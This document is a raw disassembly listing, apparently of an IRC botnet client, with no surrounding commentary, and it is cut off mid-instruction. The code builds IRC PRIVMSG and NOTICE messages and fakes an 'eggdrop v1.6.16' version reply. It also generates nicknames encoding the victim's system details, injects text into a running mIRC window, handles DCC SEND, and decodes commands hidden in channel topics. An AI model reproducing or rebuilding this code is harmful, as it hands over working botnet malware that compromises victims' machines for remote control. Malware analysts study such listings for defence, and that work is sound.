push ebx push 1 push esi push edi call sub_403C04 push edi mov dword_419D44, eax call sub_40B5A8 push esi call sub_40B5A8 add esp, 30h loc_409580: ; CODE XREF: sub_409522+B3j cmp dword_419D44, 0 jnz short loc_4095D7 xor eax, eax push eax push eax push eax call sub_4091AD add esp, 0Ch push ebp call dword_4120A4 ; Sleep cmp ebp, 0A4CB80h jge short loc_4095AB add ebp, 0EA60h loc_4095AB: ; CODE XREF: sub_409522+81j push edi call sub_40B5E1 push esi call sub_40B5E1 push ebx push 1 push esi push edi call sub_403C04 push edi mov dword_419D44, eax call sub_40B5A8 push esi call sub_40B5A8 add esp, 20h jmp short loc_409580 ; --------------------------------------------------------------------------- loc_4095D7: ; CODE XREF: sub_409522+65j push 1 push 1 call sub_409277 pop ecx pop ecx pop edi pop esi pop ebp pop ebx retn sub_409522 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4095E7 proc near ; CODE XREF: sub_401B81+14Dp ; sub_407A76+B05p ... var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_411540 push [ebp+arg_0] lea eax, [ebp+var_1000] push offset aNoticeS ; "NOTICE %s :" push eax call sub_4114DC ; sprintf lea ecx, [ebp+arg_8] push ecx mov ecx, 1000h push [ebp+arg_4] sub ecx, eax lea eax, [ebp+eax+var_1000] push ecx push eax call sub_411790 ; _vsnprintf lea eax, [ebp+var_1000] push offset asc_413214 ; "\r\n" push eax call sub_4114EE ; _mbscat lea eax, [ebp+var_1000] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_1000] push eax push dword_419D44 call sub_403D9D add esp, 34h leave retn sub_4095E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409659 proc near ; CODE XREF: sub_401B81+184p ; sub_40287C+10Ep ... var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_411540 push [ebp+arg_0] lea eax, [ebp+var_1000] push offset aPrivmsgS ; "PRIVMSG %s :" push eax call sub_4114DC ; sprintf lea ecx, [ebp+arg_8] push ecx mov ecx, 1000h push [ebp+arg_4] sub ecx, eax lea eax, [ebp+eax+var_1000] push ecx push eax call sub_411790 ; _vsnprintf lea eax, [ebp+var_1000] push offset asc_413214 ; "\r\n" push eax call sub_4114EE ; _mbscat lea eax, [ebp+var_1000] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_1000] push eax push dword_419D44 call sub_403D9D add esp, 34h leave retn sub_409659 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4096CB proc near ; CODE XREF: sub_4011C4+4Cp ; sub_4011C4+21Bp ... var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_411540 push esi mov esi, [ebp+arg_0] cmp byte ptr [esi+198h], 0 jnz loc_4097D8 mov eax, [esi+121h] push edi cmp eax, 1 jnz short loc_409700 lea eax, [esi+21h] push eax push offset aNoticeS ; "NOTICE %s :" jmp short loc_409725 ; --------------------------------------------------------------------------- loc_409700: ; CODE XREF: sub_4096CB+28j cmp eax, 2 jnz short loc_409710 lea eax, [esi+21h] push eax push offset dword_415060 jmp short loc_409725 ; --------------------------------------------------------------------------- loc_409710: ; CODE XREF: sub_4096CB+38j cmp eax, 3 lea eax, [esi+21h] push eax jnz short loc_409720 push offset dword_415050 jmp short loc_409725 ; --------------------------------------------------------------------------- loc_409720: ; CODE XREF: sub_4096CB+4Cj push offset aPrivmsgS ; "PRIVMSG %s :" loc_409725: ; CODE XREF: sub_4096CB+33j ; sub_4096CB+43j ... lea eax, [ebp+var_1000] push eax call sub_4114DC ; sprintf add esp, 0Ch cmp dword ptr [esi+19Fh], 0 mov edi, eax jz short loc_409762 mov eax, [esi+121h] cmp eax, 2 jz short loc_40974F cmp eax, 3 jnz short loc_409762 loc_40974F: ; CODE XREF: sub_4096CB+7Dj lea eax, [ebp+var_1000] push offset dword_415044 push eax call sub_4114EE ; _mbscat pop ecx pop ecx loc_409762: ; CODE XREF: sub_4096CB+72j ; sub_4096CB+82j lea eax, [ebp+arg_8] push eax mov eax, 1000h push [ebp+arg_4] sub eax, edi push eax lea eax, [ebp+edi+var_1000] push eax call sub_411790 ; _vsnprintf mov esi, [esi+121h] add esp, 10h cmp esi, 2 pop edi jz short loc_409792 cmp esi, 3 jnz short loc_4097A5 loc_409792: ; CODE XREF: sub_4096CB+C0j lea eax, [ebp+var_1000] push offset dword_415040 push eax call sub_4114EE ; _mbscat pop ecx pop ecx loc_4097A5: ; CODE XREF: sub_4096CB+C5j lea eax, [ebp+var_1000] push offset asc_413214 ; "\r\n" push eax call sub_4114EE ; _mbscat lea eax, [ebp+var_1000] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_1000] push eax push dword_419D44 call sub_403D9D add esp, 18h loc_4097D8: ; CODE XREF: sub_4096CB+18j pop esi leave retn sub_4096CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4097DB proc near ; CODE XREF: sub_40287C:loc_402A05p ; sub_4052DF+D8p ... var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_411540 lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_1000] push [ebp+arg_0] push 1000h push eax call sub_411790 ; _vsnprintf lea eax, [ebp+var_1000] push offset asc_413214 ; "\r\n" push eax call sub_4114EE ; _mbscat lea eax, [ebp+var_1000] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_1000] push eax push dword_419D44 call sub_403D9D add esp, 28h leave retn sub_4097DB endp ; =============== S U B R O U T I N E ======================================= sub_409835 proc near ; CODE XREF: sub_409843+Bp push 0 push offset aMirc ; "mIRC" call dword_4121F8 ; FindWindowA retn sub_409835 endp ; =============== S U B R O U T I N E ======================================= sub_409843 proc near ; CODE XREF: sub_407A76+12EDp var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push esi push edi xor edi, edi cmp [esp+0Ch+arg_0], edi jz short loc_4098C3 call sub_409835 mov esi, eax cmp esi, edi mov [esp+0Ch+var_4], esi jz short loc_4098C3 push ebx push ebp push offset aMirc ; "mIRC" push 1000h push edi push 4 push edi push 0FFFFFFFFh call dword_4120C8 ; CreateFileMappingA push edi push edi mov ebx, eax push edi push 0F001Fh push ebx call dword_4120C4 ; MapViewOfFile push [esp+14h+arg_0] mov ebp, eax push ebp call sub_4114DC ; sprintf pop ecx pop ecx push edi push 1 push 4C8h push esi mov esi, dword_4121FC call esi ; SendMessageA push edi push 1 push 4C9h push [esp+20h+var_4] call esi ; SendMessageA push ebp call dword_4120C0 ; UnmapViewOfFile push ebx call dword_4120AC ; CloseHandle pop ebp pop ebx loc_4098C3: ; CODE XREF: sub_409843+9j ; sub_409843+18j pop edi pop esi pop ecx retn sub_409843 endp ; =============== S U B R O U T I N E ======================================= sub_4098C7 proc near ; CODE XREF: sub_407A76+B0p ; sub_409277+144p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push ebp push edi push ebx call sub_4114BE ; strlen mov ebp, eax xor edi, edi test ebp, ebp pop ecx jle short loc_409914 push esi loc_4098DE: ; CODE XREF: sub_4098C7+4Aj mov al, [edi+ebx] lea esi, [edi+ebx] cmp al, 23h jnz short loc_4098EE push 39h push 30h jmp short loc_409905 ; --------------------------------------------------------------------------- loc_4098EE: ; CODE XREF: sub_4098C7+1Fj cmp al, 3Fh jnz short loc_40990E call sub_40B4C3 test eax, eax jz short loc_409901 push 7Ah push 61h jmp short loc_409905 ; --------------------------------------------------------------------------- loc_409901: ; CODE XREF: sub_4098C7+32j push 5Ah push 41h loc_409905: ; CODE XREF: sub_4098C7+25j ; sub_4098C7+38j call sub_40B459 pop ecx mov [esi], al pop ecx loc_40990E: ; CODE XREF: sub_4098C7+29j inc edi cmp edi, ebp jl short loc_4098DE pop esi loc_409914: ; CODE XREF: sub_4098C7+14j pop edi pop ebp pop ebx retn sub_4098C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409918 proc near ; CODE XREF: sub_40A236+1C4p var_338 = byte ptr -338h var_2BC = byte ptr -2BCh var_260 = byte ptr -260h var_23F = byte ptr -23Fh var_1BC = byte ptr -1BCh var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_13F = dword ptr -13Fh var_13B = byte ptr -13Bh var_C1 = dword ptr -0C1h var_BC = byte ptr -0BCh var_3C = byte ptr -3Ch var_2C = byte ptr -2Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 338h push ebx push esi mov esi, [ebp+arg_C] push edi push offset aPing ; "PING" push dword ptr [esi] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_40994B push dword ptr [esi+4] push offset aPongS ; "PONG %s" loc_409941: ; CODE XREF: sub_409918+39Ej ; sub_409918+3FCj ... call sub_4097DB jmp loc_409DBA ; --------------------------------------------------------------------------- loc_40994B: ; CODE XREF: sub_409918+1Fj push offset aPong ; "PONG" push dword ptr [esi+4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jz loc_40A231 push offset aMode ; "MODE" push dword ptr [esi+4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jz loc_40A231 push offset aPrivmsg ; "PRIVMSG" push dword ptr [esi+4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_409B55 mov eax, [esi+0Ch] xor edi, edi cmp eax, edi jz loc_409B57 cmp byte ptr [eax+1], 1 jnz loc_409B57 push offset dword_415154 push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_409AB9 mov eax, [esi+10h] cmp eax, edi jz loc_409AB9 push offset aSend ; "SEND" push eax call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_409AB9 cmp [ebp+arg_0], edi jz loc_409AB9 mov ecx, [esi+14h] cmp ecx, edi jz loc_40A231 cmp [esi+18h], edi jz loc_40A231 cmp [esi+1Ch], edi jz loc_40A231 mov eax, [esi+20h] cmp eax, edi jz loc_40A231 cmp byte ptr [ecx], 22h jz loc_40A231 push eax call sub_4114BE ; strlen mov ecx, [esi+20h] push [ebp+arg_4] and byte ptr [eax+ecx], 0 lea eax, [ebp+var_260] push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_23F] push offset dword_418E50 push eax call sub_4114B8 ; _mbscpy push 7Ah lea eax, [ebp+var_13B] push edi push eax mov [ebp+var_13F], edi call sub_4114E8 ; memset push dword ptr [esi+18h] mov [ebp+var_C1], 1 call sub_41151C ; atoi movzx ecx, al add esp, 24h push ecx mov ecx, eax shr ecx, 8 movzx ecx, cl push ecx mov ecx, eax shr ecx, 10h movzx ecx, cl shr eax, 18h push ecx push eax lea eax, [ebp+var_2C] push offset dword_413A58 push eax call sub_4114DC ; sprintf push dword ptr [esi+20h] lea eax, [ebp+var_2C] push dword ptr [esi+1Ch] push eax lea eax, [ebp+var_260] push dword ptr [esi+14h] push [ebp+arg_4] push eax call sub_401EA8 add esp, 30h jmp loc_40A231 ; --------------------------------------------------------------------------- loc_409AB9: ; CODE XREF: sub_409918+9Ej ; sub_409918+A9j ... push offset dword_415140 push dword ptr [esi+0Ch] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jz short loc_409B19 push offset dword_415134 push dword ptr [esi+0Ch] call sub_41177E ; strcmp pop ecx test eax, eax pop ecx jz short loc_409B19 push offset dword_41512C push dword ptr [esi+0Ch] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jz short loc_409B04 push offset dword_415124 push dword ptr [esi+0Ch] call dword_412110 ; lstrcmp test eax, eax jnz short loc_409B57 loc_409B04: ; CODE XREF: sub_409918+1D8j mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax push eax push [ebp+arg_4] call sub_4095E7 jmp loc_409DBA ; --------------------------------------------------------------------------- loc_409B19: ; CODE XREF: sub_409918+1B2j ; sub_409918+1C5j cmp [ebp+arg_0], edi jz short loc_409B3E push offset dword_418FD0 push 3AEh push edi push offset dword_415100 push [ebp+arg_4] call sub_4095E7 add esp, 14h jmp loc_40A231 ; --------------------------------------------------------------------------- loc_409B3E: ; CODE XREF: sub_409918+204j push offset aEggdropV1_6_16 ; "eggdrop v1.6.16" push offset dword_4150E0 push [ebp+arg_4] call sub_4095E7 jmp loc_409E4C ; --------------------------------------------------------------------------- loc_409B55: ; CODE XREF: sub_409918+72j xor edi, edi loc_409B57: ; CODE XREF: sub_409918+7Fj ; sub_409918+89j ... push offset a433 ; "433" push dword ptr [esi+4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_409CBB call sub_406AB7 xor edx, edx mov ecx, 15180h div ecx cmp eax, 4 mov [ebp+arg_10], eax jnb short loc_409BBE call sub_404DAD test eax, eax jnz short loc_409BBE lea eax, [ebp+var_BC] push offset dword_418E44 push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_BC] push eax call sub_40B5E1 lea eax, [ebp+var_BC] push eax call sub_4098C7 add esp, 10h jmp loc_409CAA ; --------------------------------------------------------------------------- loc_409BBE: ; CODE XREF: sub_409918+26Aj ; sub_409918+273j call sub_404D00 lea eax, [ebp+var_3C] push eax call sub_405F9A test eax, eax pop ecx jnz short loc_409BE1 lea eax, [ebp+var_3C] push offset aUnk ; "UNK" push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_409BE1: ; CODE XREF: sub_409918+2B7j call sub_4067B2 mov ecx, 400h cmp eax, ecx jbe short loc_409BF6 call sub_4067B2 jmp short loc_409BF8 ; --------------------------------------------------------------------------- loc_409BF6: ; CODE XREF: sub_409918+2D5j mov eax, ecx loc_409BF8: ; CODE XREF: sub_409918+2DCj shr eax, 0Ah mov [ebp+arg_4], eax call sub_406373 cmp eax, 3E8h mov ebx, offset aB ; "B" jnb short loc_409C14 mov ebx, offset aA ; "A" loc_409C14: ; CODE XREF: sub_409918+2F5j cmp eax, 1F4h jnb short loc_409C20 mov ebx, offset aG ; "G" loc_409C20: ; CODE XREF: sub_409918+301j push 24h xor eax, eax pop ecx lea edi, [ebp+var_14C] mov [ebp+var_150], 94h xor esi, esi rep stosd lea eax, [ebp+var_150] push eax call dword_412034 ; GetVersionExA cmp [ebp+var_14C], 5 jnz short loc_409C5B cmp [ebp+var_148], 1 jnz short loc_409C5B push 1 pop esi loc_409C5B: ; CODE XREF: sub_409918+335j ; sub_409918+33Ej push 5Ah push 41h call sub_40B459 pop ecx pop ecx push eax push 5Ah push 41h call sub_40B459 pop ecx pop ecx test esi, esi push eax setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push ebx push [ebp+arg_4] lea eax, [ebp+var_3C] push 5Dh push [ebp+arg_10] push 5Bh push 5Dh push eax push 5Bh lea eax, [ebp+var_BC] push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" push eax call sub_4114DC ; sprintf add esp, 34h loc_409CAA: ; CODE XREF: sub_409918+2A1j lea eax, [ebp+var_BC] push eax push offset dword_414F0C jmp loc_409941 ; --------------------------------------------------------------------------- loc_409CBB: ; CODE XREF: sub_409918+250j push offset aError ; "ERROR" push dword ptr [esi] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_409CDA push edi push edi push edi call sub_409522 jmp loc_409E4C ; --------------------------------------------------------------------------- loc_409CDA: ; CODE XREF: sub_409918+3B3j push offset aJoin ; "JOIN" push dword ptr [esi+4] call sub_411924 ; _strcmpi pop ecx mov edi, offset byte_41A1E8 test eax, eax pop ecx jnz short loc_409D19 push edi push [ebp+arg_4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_409D19 mov eax, [esi+8] test eax, eax jz short loc_409D19 cmp byte ptr [eax], 3Ah jnz short loc_409D0E inc eax loc_409D0E: ; CODE XREF: sub_409918+3F3j push eax push offset aModeSSmntu ; "MODE %s +smntu" jmp loc_409941 ; --------------------------------------------------------------------------- loc_409D19: ; CODE XREF: sub_409918+3D8j ; sub_409918+3E7j ... push offset a001 ; "001" push dword ptr [esi+4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_409DC1 push 21h lea eax, [ebp+var_3C] push dword ptr [esi+8] push eax call sub_4114D6 ; strncpy lea eax, [ebp+var_3C] push eax push edi call sub_4114B8 ; _mbscpy add esp, 14h lea eax, [ebp+var_3C] push eax push offset aModeSXi ; "MODE %s +xi" call sub_4097DB pop ecx pop ecx push offset dword_41A0E8 push offset dword_418E50 push offset dword_414AD8 call sub_4097DB add esp, 0Ch lea eax, [ebp+var_1BC] push eax call sub_4091A7 push eax call sub_40348C pop ecx test eax, eax pop ecx jz short loc_409D9B lea eax, [ebp+var_1BC] push eax call sub_40324A test eax, eax pop ecx jz short loc_409DA9 loc_409D9B: ; CODE XREF: sub_409918+470j lea eax, [ebp+var_3C] push eax push offset aUserhostS ; "USERHOST %s" jmp loc_409941 ; --------------------------------------------------------------------------- loc_409DA9: ; CODE XREF: sub_409918+481j lea eax, [ebp+var_1BC] push eax push offset dword_41A2E8 loc_409DB5: ; CODE XREF: sub_409918+571j call sub_4114B8 ; _mbscpy loc_409DBA: ; CODE XREF: sub_409918+2Ej ; sub_409918+1FCj ... pop ecx pop ecx jmp loc_40A231 ; --------------------------------------------------------------------------- loc_409DC1: ; CODE XREF: sub_409918+412j push offset a451 ; "451" push dword ptr [esi+4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_409DDE push eax push 1 call sub_409277 jmp short loc_409DBA ; --------------------------------------------------------------------------- loc_409DDE: ; CODE XREF: sub_409918+4BAj push offset a302 ; "302" push dword ptr [esi+4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_409E54 mov esi, [esi+0Ch] test esi, esi jz loc_40A231 push offset a@ ; "@" push esi call sub_411528 ; strstr pop ecx test eax, eax pop ecx jz loc_40A231 mov esi, 100h lea ebx, [eax+1] push esi mov edi, offset dword_41A2E8 push ebx push edi call sub_4059C2 lea eax, [ebp+var_1BC] push eax push ebx call sub_4035CE add esp, 14h test al, al jz loc_40A231 lea eax, [ebp+var_1BC] push esi push eax push edi call sub_4059C2 loc_409E4C: ; CODE XREF: sub_409918+238j ; sub_409918+3BDj add esp, 0Ch jmp loc_40A231 ; --------------------------------------------------------------------------- loc_409E54: ; CODE XREF: sub_409918+4D7j push offset aNick ; "NICK" push dword ptr [esi+4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_409E8E cmp [esi+8], eax jz loc_40A231 push edi push [ebp+arg_4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_40A231 mov eax, [esi+8] inc eax push eax push edi jmp loc_409DB5 ; --------------------------------------------------------------------------- loc_409E8E: ; CODE XREF: sub_409918+54Dj push offset a332 ; "332" push dword ptr [esi+4] call sub_41177E ; strcmp pop ecx test eax, eax pop ecx jnz loc_409F76 mov edi, [ebp+arg_10] mov eax, [edi+10h] test eax, eax jz loc_40A231 mov dl, [eax+1] lea ecx, [eax+1] test dl, dl jz loc_40A231 cmp dl, 3Dh jnz short loc_409F0C add eax, 2 push ecx push eax call sub_40A44E push eax mov eax, [edi+10h] inc eax push eax call sub_40A82E mov ebx, eax mov eax, [edi+10h] inc eax push ebx push eax call sub_40A7AE mov eax, [edi+14h] add esp, 18h test eax, eax jz short loc_409F04 push eax mov eax, [edi+10h] lea eax, [eax+ebx+1] push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx jmp short loc_409F0C ; --------------------------------------------------------------------------- loc_409F04: ; CODE XREF: sub_409918+5D8j mov eax, [edi+10h] and byte ptr [eax+ebx+1], 0 loc_409F0C: ; CODE XREF: sub_409918+5ACj ; sub_409918+5EAj mov edi, [edi+10h] cmp byte ptr [edi+1], 0 lea eax, [edi+1] jz loc_40A231 lea ecx, [ebp+arg_4] mov edi, offset asc_415084 ; "][" push ecx push edi push eax call sub_405E4F add esp, 0Ch loc_409F2F: ; CODE XREF: sub_409918+65Cj test eax, eax jz loc_40A231 loc_409F37: ; CODE XREF: sub_409918+625j cmp byte ptr [eax], 20h jnz short loc_409F3F inc eax jmp short loc_409F37 ; --------------------------------------------------------------------------- loc_409F3F: ; CODE XREF: sub_409918+622j push eax lea eax, [ebp+var_2BC] push dword ptr [esi+0Ch] push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" push 200h push eax call sub_41152E ; _snprintf lea eax, [ebp+var_2BC] push eax call sub_40A236 lea eax, [ebp+arg_4] push eax push edi push 0 call sub_405E4F add esp, 24h jmp short loc_409F2F ; --------------------------------------------------------------------------- loc_409F76: ; CODE XREF: sub_409918+587j cmp [ebp+arg_0], 0 jz loc_40A231 cmp dword ptr [esi+8], 0 jz loc_40A231 cmp dword ptr [esi+0Ch], 0 lea ebx, [esi+0Ch] jz loc_40A231 push offset byte_41A1E8 push [ebp+arg_4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jz loc_40A231 mov eax, [ebp+arg_10] inc dword ptr [ebx] add eax, 0Ch push offset aPrivmsg ; "PRIVMSG" mov [ebp+var_14], eax inc dword ptr [eax] push dword ptr [esi+4] call sub_411924 ; _strcmpi pop ecx pop ecx push 3 test eax, eax pop edi jnz short loc_409FE7 mov eax, [ebx] cmp byte ptr [eax], 1 jz short loc_40A005 mov eax, [esi+8] and [ebp+var_4], 0 mov [ebp+arg_0], eax jmp loc_40A093 ; --------------------------------------------------------------------------- loc_409FE7: ; CODE XREF: sub_409918+6B7j push offset aNotice ; "NOTICE" push dword ptr [esi+4] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz loc_40A231 mov eax, [ebx] cmp byte ptr [eax], 1 jnz short loc_40A04A loc_40A005: ; CODE XREF: sub_409918+6BEj mov ecx, [ebp+arg_4] inc eax mov [ebx], eax mov eax, [ebp+var_14] mov [ebp+var_4], edi xor edi, edi inc dword ptr [eax] cmp [esi], edi mov [ebp+arg_0], ecx jz short loc_40A073 mov [ebp+arg_C], esi loc_40A01F: ; CODE XREF: sub_409918+72Ej cmp edi, 0Fh jz short loc_40A073 mov eax, [ebp+arg_C] push dword ptr [eax] call sub_4114BE ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx] cmp byte ptr [ecx+eax-1], 1 jz short loc_40A059 add [ebp+arg_C], 4 inc edi mov eax, [ebp+arg_C] cmp dword ptr [eax], 0 jnz short loc_40A01F jmp short loc_40A073 ; --------------------------------------------------------------------------- loc_40A04A: ; CODE XREF: sub_409918+6EBj mov eax, [esi+8] mov [ebp+var_4], 1 mov [ebp+arg_0], eax jmp short loc_40A093 ; --------------------------------------------------------------------------- loc_40A059: ; CODE XREF: sub_409918+721j mov ecx, edi shl ecx, 2 mov edx, [ecx+esi] and byte ptr [edx+eax-1], 0 mov edx, [ebp+arg_10] mov ecx, [ecx+edx] and byte ptr [ecx+eax-1], 0 jmp short loc_40A093 ; --------------------------------------------------------------------------- loc_40A073: ; CODE XREF: sub_409918+702j ; sub_409918+70Aj ... mov eax, [ebp+arg_10] shl edi, 2 push dword ptr [edi+eax] call sub_4114BE ; strlen pop ecx mov ecx, [edi+esi] cmp byte ptr [ecx+eax-1], 1 lea eax, [ecx+eax-1] jnz short loc_40A093 mov byte ptr [eax], 1 loc_40A093: ; CODE XREF: sub_409918+6CAj ; sub_409918+73Fj ... push offset byte_41A1E8 push [ebp+arg_0] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_40A0AC mov eax, [ebp+arg_4] mov [ebp+arg_0], eax loc_40A0AC: ; CODE XREF: sub_409918+78Cj push 7Ah lea eax, [ebp+var_338] push 0 push eax call sub_4114E8 ; memset mov eax, [ebp+arg_10] and [ebp+arg_C], 0 mov edi, [eax] push edi mov [ebp+var_18], edi call sub_4114BE ; strlen add esp, 10h cmp eax, 3 mov [ebp+var_10], eax jb loc_40A182 loc_40A0DD: ; CODE XREF: sub_409918+7FFj mov cl, [eax+edi-1] cmp cl, 20h jnz short loc_40A0E9 dec eax jmp short loc_40A111 ; --------------------------------------------------------------------------- loc_40A0E9: ; CODE XREF: sub_409918+7CCj cmp byte ptr [eax+edi-3], 20h jnz short loc_40A119 cmp byte ptr [eax+edi-2], 2Dh jnz short loc_40A119 cmp cl, 7Ah jg short loc_40A119 movsx ecx, cl mov [ebp+arg_C], 1 sub eax, 3 mov [ebp+ecx+var_338], 1 loc_40A111: ; CODE XREF: sub_409918+7CFj cmp eax, 3 mov [ebp+var_10], eax jnb short loc_40A0DD loc_40A119: ; CODE XREF: sub_409918+7D6j ; sub_409918+7DDj ... cmp [ebp+arg_C], 0 jz short loc_40A182 mov edi, [ebp+arg_10] and [ebp+var_C], 0 mov [ebp+var_8], esi sub [ebp+var_8], edi loc_40A12C: ; CODE XREF: sub_409918+868j mov eax, [edi] test eax, eax jz short loc_40A182 mov ecx, [ebp+var_10] mov edx, [ebp+var_18] add ecx, edx cmp eax, ecx jb short loc_40A176 xor ecx, ecx cmp [ebp+arg_C], ecx jz short loc_40A163 cmp [ebp+var_C], ecx jz short loc_40A160 mov eax, [ebp+var_8] push dword ptr [eax+edi-4] call sub_4114BE ; strlen pop ecx mov ecx, [edi-4] and byte ptr [eax+ecx], 0 xor ecx, ecx loc_40A160: ; CODE XREF: sub_409918+830j mov [ebp+arg_C], ecx loc_40A163: ; CODE XREF: sub_409918+82Bj mov eax, [edi] and byte ptr [eax], 0 mov eax, [ebp+var_8] add eax, edi mov edx, [eax] and byte ptr [edx], 0 mov [edi], ecx mov [eax], ecx loc_40A176: ; CODE XREF: sub_409918+824j inc [ebp+var_C] add edi, 4 cmp [ebp+var_C], 10h jb short loc_40A12C loc_40A182: ; CODE XREF: sub_409918+7BFj ; sub_409918+805j ... mov edi, offset byte_41A1E8 push edi push dword ptr [esi+8] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_40A19C push [ebp+var_14] push ebx jmp short loc_40A216 ; --------------------------------------------------------------------------- loc_40A19C: ; CODE XREF: sub_409918+87Cj add esi, 10h cmp dword ptr [esi], 0 jz loc_40A231 push offset asc_415078 ; "*" push dword ptr [ebx] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jz short loc_40A20E push dword ptr [ebx] push edi call sub_40790B pop ecx test al, al pop ecx jnz short loc_40A20E push dword ptr [ebx] call sub_4114BE ; strlen cmp eax, 4 pop ecx ja short loc_40A231 mov edi, [ebx] push edi call sub_4114BE ; strlen cmp byte ptr [eax+edi-1], 25h pop ecx jnz short loc_40A231 push edi call sub_4114BE ; strlen mov ecx, [ebx] and byte ptr [eax+ecx-1], 0 call sub_40B480 push 64h xor edx, edx pop ecx div ecx push dword ptr [ebx] mov edi, edx inc edi call sub_41151C ; atoi pop ecx cmp eax, edi pop ecx jl short loc_40A231 loc_40A20E: ; CODE XREF: sub_409918+8A0j ; sub_409918+8AEj mov eax, [ebp+arg_10] add eax, 10h push eax push esi loc_40A216: ; CODE XREF: sub_409918+882j lea eax, [ebp+var_338] push eax push [ebp+var_4] push [ebp+arg_0] push [ebp+arg_8] push [ebp+arg_4] call sub_407A76 add esp, 1Ch loc_40A231: ; CODE XREF: sub_409918+44j ; sub_409918+5Bj ... pop edi pop esi pop ebx leave retn sub_409918 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A236 proc near ; CODE XREF: sub_408D81+70p ; sub_409918+648p ... var_1184 = byte ptr -1184h var_184 = byte ptr -184h var_105 = byte ptr -105h var_104 = byte ptr -104h var_85 = byte ptr -85h var_84 = byte ptr -84h var_78 = dword ptr -78h var_44 = dword ptr -44h var_40 = dword ptr -40h var_38 = dword ptr -38h var_34 = dword ptr -34h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1184h call sub_411540 push ebx lea eax, [ebp+var_84] push 10h push eax lea eax, [ebp+var_44] xor ebx, ebx push eax lea eax, [ebp+var_1184] push eax mov [ebp+var_4], ebx push [ebp+arg_0] call sub_4058EE push offset a302 ; "302" push [ebp+var_40] call sub_411924 ; _strcmpi add esp, 1Ch neg eax sbb eax, eax inc eax cmp [ebp+var_44], ebx mov dword_419D4C, eax jz loc_40A404 cmp [ebp+var_40], ebx jz loc_40A404 push esi push edi push offset aPrivmsg ; "PRIVMSG" push [ebp+var_40] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jz short loc_40A2B9 push offset aNotice ; "NOTICE" push [ebp+var_40] call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jnz short loc_40A32B loc_40A2B9: ; CODE XREF: sub_40A236+6Ej mov eax, [ebp+var_38] cmp eax, ebx jz short loc_40A32B cmp [ebp+var_34], ebx jnz short loc_40A32B cmp byte ptr [eax], 3Ah jnz short loc_40A32B cmp byte ptr [eax+1], 3Dh jnz short loc_40A32B add eax, 2 cmp byte ptr [eax], 0 jz short loc_40A32B push eax call sub_40A5D0 test eax, eax pop ecx jz short loc_40A32B mov eax, [ebp+var_38] lea ecx, [eax+1] add eax, 2 push ecx push eax call sub_40A44E push eax mov eax, [ebp+var_38] inc eax push eax call sub_40A82E mov esi, eax mov eax, [ebp+var_38] inc eax push esi push eax call 